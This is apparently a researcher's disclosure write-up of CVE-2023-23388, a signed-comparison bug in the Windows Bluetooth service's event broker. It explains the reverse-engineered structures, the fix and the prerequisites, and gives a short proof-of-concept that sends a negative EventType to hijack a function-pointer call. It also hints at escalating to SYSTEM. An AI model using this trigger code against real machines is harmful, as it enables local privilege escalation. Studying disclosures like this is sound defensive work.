← CVE-2023-24871 - LPE Home →

This post will give a brief description about CVE-2023-23388. While creating an exploit for the LPE vector with CVE-2023-24871, I stumbled upon this bug as well. It’s on the same code path as the other LPE, but doesn’t really involve bluetooth at all. In fact, you could know nothing about bluetooth and still triage the issue completely. The bug is a very classic one, with input data not being validated properly and that giving an attacker an opportunity to wreak havoc.

contents


[1.0] vulnerability


In the previous post, I gave some details on how a client using WinRT BLE APIs and a server in bthserv communicate to allow unprivileged applications to do BLE-related stuff. On both the client side and the server side there are three “layers” of data that each request generally goes through:

  • WinRT layer, with the client using provided APIs to instantiate objects and call methods on them, and the server performing requested actions, usually by communicating with components down the stack.
  • The BluetoothEvent layer, with BrokerLib.dll on the server side and biwinrt.dll on the client side. A BLE client request is transformed from the WinRT layer into a bluetooth “event” that contains arguments mapped by their name. The server side works with these event objects by detecting the event type and then delegating execution to a specific function that reads arguments specific to that event type.
  • The RPC layer, which transforms data between the client and the server.

The intermediate layer is meant to be quite flexible, as it needs to forward many different types of BLE requests, each of them having a specific set of arguments. To that end, using a dictionary-like structure is not the worst idea. Let’s recall the structures used in this layer:

// Reverse engineered from Windows.Devices.Bluetooth.dll
enum class BR_VALUE_TYPE
{
    INT = 0,
    BUFFER = 4,
};

// Reverse engineered from Windows.Devices.Bluetooth.dll
struct __declspec(align(8)) BR_BUFFER
{
    uint64_t m_Size;
    const void* m_Data;
};

// Reverse engineered from Windows.Devices.Bluetooth.dll
struct __declspec (align(8)) BR_EVENT_PARAMETER
{
    BR_EVENT_PARAMETER(const wchar_t* name, int32_t value)
    {
        m_Name = name;
        m_Type = BR_VALUE_TYPE::INT;
        m_IntValue = value;
    }

    BR_EVENT_PARAMETER(const wchar_t* name, const BR_BUFFER& value)
    {
        m_Name = name;
        m_Type = BR_VALUE_TYPE::BUFFER;
        m_BufValue = value;
    }

    const wchar_t* m_Name;
    BR_VALUE_TYPE m_Type;
    union
    {
        int32_t m_IntValue;
        BR_BUFFER m_BufValue;
    };
};

An event is then just a list of BR_EVENT_PARAMETER objects. To create an event and send it to the RPC server, all we have to do is call biwinrt.dll!BiRtCreateEventForApp with some GUID parameters and an array of BR_EVENT_PARAMETER objects. The type of the event we’re sending is serialized as an argument named EventType, and the server ensures that this argument exists before doing anything else with the event. Based on the value of the argument, the type of the request is determined, and execution is then delegated into a function specific to that type of the request, which further reads the arguments. For example, in the previous vulnerability, we used EventType = 4 to create a BluetoothLEAdvertisementPublisherTrigger object on the server. The handler function called by the server was BluetoothLEAdvertisementPublisherTrigger::Create, which further read arguments such as AdvertisementPayload, UseExtendedFormat and others.

The function that initially parses the event and decodes its event type is lambda_a6b4a4e60e26254477fb011d24285961_, which is a C++ lambda function that’s (probably!) defined as part of BluetoothEventBroker::s_OnCreateEvent in BrokerLib.dll:

lambda_a6b4a4e60e26254477fb011d24285961_::operator()(void* parameter)
{
	// Some preliminary checks
	...
	auto eventParameters = ...; // fetched from the parameter, contains a pointer to BR_EVENT_PARAMETER* array and the size of the array
	int32_t eventType = 0;
	if (BrokerUtilities::UnpackParameterIntegral<int32_t>(eventParameters, L"EventType", &eventType) >= 0)
	{
		// EVENT_TYPE_MAX = 6
		if (eventType <= EVENT_TYPE_MAX)
		{
			...
			auto triggerHandler = s_brokerTriggerTable[eventType];
			triggerHandler(....);
			...
		}
		...
	}
	...
}

The maximum value of the EventType parameter is EVENT_TYPE_MAX, aka 6, and the function verifies that the client didn’t send a value higher than that. The bug here is the fact that eventType is a signed integer. This means that the comparison against EVENT_TYPE_MAX is signed, allowing negative values to successfully bypass the check. After the check is passed, the function fetches a function pointer to a specific handler for this event type, and calls it. If a negative value is used in this place, the function pointer value will be something unexpected, allowing the attacker to direct control flow into an unexpected place.

2.0 fix


I’m not sure how the issue was fixed in source code, but the validation now ensures that eventType is higher or equal to zero. Most likely, there’s an explicit condition in code, rather than the underlying type being changed into an unsigned integer, as that would most likely result in an unsigned comparison instruction rather than an extra comparison.

3.0 exploitability


I didn’t manage to turn this into a functional exploit, though I did briefly try. The primitive is really nice, as it allows the attacker to interpret some memory value as a function pointer and call it. The limitation is that the hijacked function has to be referenced by some data that’s within 1 << 32 bytes of memory behind the location of s_brokerTriggerTable. Even though this limits the use of functions contained within the same module, commonly the attacker will be able to “find” a reference to a desirable function in modules that are loaded in the reachable memory behind the vulnerable module. Another problem is that the arguments passed to the function reference attacker-controlled data very indirectly, so having control over those is difficult too.

As was the case in the previous vulnerability, what helps is that bthserv automatically restarts upon crashing, so any probabilistic exploits can be tried over and over until they succeed. Of course, once execution is achieved within bthserv, it’s not hard to escalate further to SYSTEM via e.g. JuicyPotato.

4.0 prerequisites


Once again, for a machine to be vulnerable, Bluetooth must be turned on, as bthserv will discard requests otherwise. The client must also be running as an AppContainer with the Bluetooth capability, but that’s not much of a deterrent. Other than that, there are no further requirements to trigger the vulnerable code path - just a happy little RPC request and everything is in place.

5.0 poc


I uploaded a PoC to github. Once again we inject into StartMenuExperienceHost.exe to avoid having to create our own AppContainer. We create en event with EventType = -0x50C and call biwinrt.dll!BiRtCreateEventForApp to reach the vulnerable function on the server. The essence of the code is very simple and pretty much the same as in the previous vulnerability:

using BiRtCreateEventForAppFn = HRESULT(GUID&, GUID&, int64_t, BR_BUFFER&);
HMODULE biWinRtModule = GetModuleHandle(L"biwinrt.dll");
std::function<BiRtCreateEventForAppFn> createEventForApp = reinterpret_cast<BiRtCreateEventForAppFn*>(GetProcAddress(biWinRtModule, "BiRtCreateEventForApp"));

std::vector<BR_EVENT_PARAMETER> eventParameters;
eventParameters.emplace_back(L"EventType", -0x50C);
eventParameters.emplace_back(L"Version", 0);

GUID zeroGuid = {};
BR_BUFFER eventParams = { eventParameters.size(), eventParameters.data() };

// Bluetooth GUID, taken from Windows.Devices.Bluetooth.dll
uint8_t bthEventBrokerGuidBytes[] = { 0x62, 0xE9, 0xCA, 0xFC, 0x22, 0x47, 0xC7, 0x40, 0xA4, 0x6D, 0xFE, 0x51, 0x53, 0x28, 0x07, 0x23 };
GUID bthEventBrokerGuid = {};
memcpy(&bthEventBrokerGuid, bthEventBrokerGuidBytes, sizeof(GUID));

// Send our event
HRESULT res = createEventForApp(zeroGuid, bthEventBrokerGuid, 0, eventParams);
← CVE-2023-24871 - LPE Home →